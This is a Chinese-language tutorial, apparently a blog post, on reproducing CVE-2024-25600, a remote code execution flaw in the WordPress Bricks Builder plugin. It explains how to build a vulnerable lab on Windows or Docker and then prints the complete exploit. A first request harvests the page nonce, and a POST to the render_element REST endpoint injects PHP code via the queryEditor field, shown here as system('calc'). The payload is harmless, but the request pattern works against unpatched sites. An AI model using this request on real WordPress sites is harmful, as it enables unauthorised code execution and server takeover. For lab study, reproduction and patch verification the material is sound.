一文搭建复现并分析CVE-2024-25600 WordPress Bricks Builder RCE最新漏洞

释放双眼，带上耳机，听听看~！

WordPres Bricks Builder 是一个 WordPress 页面构建器插件，旨在帮助用户轻松创建具有吸引力和交互性的网站页面，而无需编写代码。该插件提供了直观的拖放界面和各种预制模块，使用户可以快速构建自定义布局，添加内容和样式，以及实现所需的功能。WordPress配置安装的Brick Builder主题在低于<= 1.9.6版本中存在远程代码执行漏洞。

Bricks Builder官方https://bricksbuilder.io/

Bricks Builder使用手册https://academy.bricksbuilder.io/topic/getting-started/

参考链接：

https://bricksbuilder.io/release/bricks-1-9-6-1/

https://www.cve.org/CVERecord?id=CVE-2024-25600

漏洞环境

Windows版:

搭建方法.修改根目录的配置文件wp-config-sample.php

一文搭建复现并分析CVE-2024-25600 WordPress Bricks Builder RCE最新漏洞

配置站点与管理员账号密码

进入后台

安装Bricks1.9.5,并激活他

由于我是直接在源码里面导入了

所以我这边直接就是激活成功的

Docker版:

在kali里面执行docker-compose up,是直接打包好的,直接拉镜像就可以了,拉完访问127.0.0.1就行,映射到80端口了,剩下和window流程一样

服务启动后，可访问http://your-ip:80/将自动跳转到wordpress安装向导界面

有需要源码和打包的文件的师傅可以私信我

漏洞复现

首先，根路径查看Bricks 返回的nonce值


GET /wordpress/ HTTP/1.1

Host: localhost

Accept-Encoding: gzip, deflate, br

sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"

sec-ch-ua-mobile: ?0

Sec-Fetch-Dest: document

Sec-Fetch-User: ?1

Accept-Language: zh-CN,zh;q=0.9

Cookie: wordpress\_test\_cookie=WP+Cookie+check

Sec-Fetch-Site: none

Upgrade-Insecure-Requests: 1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36

Sec-Fetch-Mode: navigate

sec-ch-ua-platform: "Windows"

一文搭建复现并分析CVE-2024-25600 WordPress Bricks Builder RCE最新漏洞 **

得到nonce值

{
    "debug": "",
    "locale": "zh_CN",
    "ajaxUrl": "http://localhost/wordpress/wp-admin/admin-ajax.php",
    "restApiUrl": "http://localhost/wordpress/wp-json/bricks/v1/",
    "nonce": "a980a714d9",
    "wpRestNonce": "31dc189c84",
    "postId": "0",
    "recaptchaIds": [],
    "animatedTypingInstances": [],
    "videoInstances": [],
    "splideInstances": [],
    "tocbotInstances": [],
    "swiperInstances": [],
    "queryLoopInstances": [],
    "interactions": [],
    "facebookAppId": "",
    "offsetLazyLoad": "300",
    "headerPosition": "top"
}

之后发送如下请求

POST /WordPress-6.4.3/wp-json/bricks/v1/render\_element HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 270
Content-Type: application/json
Accept-Encoding: gzip, deflate, 

{
"postId": "1",
"nonce": " a980a714d9",
"element": {
"name": "container",
"settings": {
"hasLoop": "","query": {"useQueryEditor": "","queryEditor": "system('calc');","objectType": ""}
        }
    }
}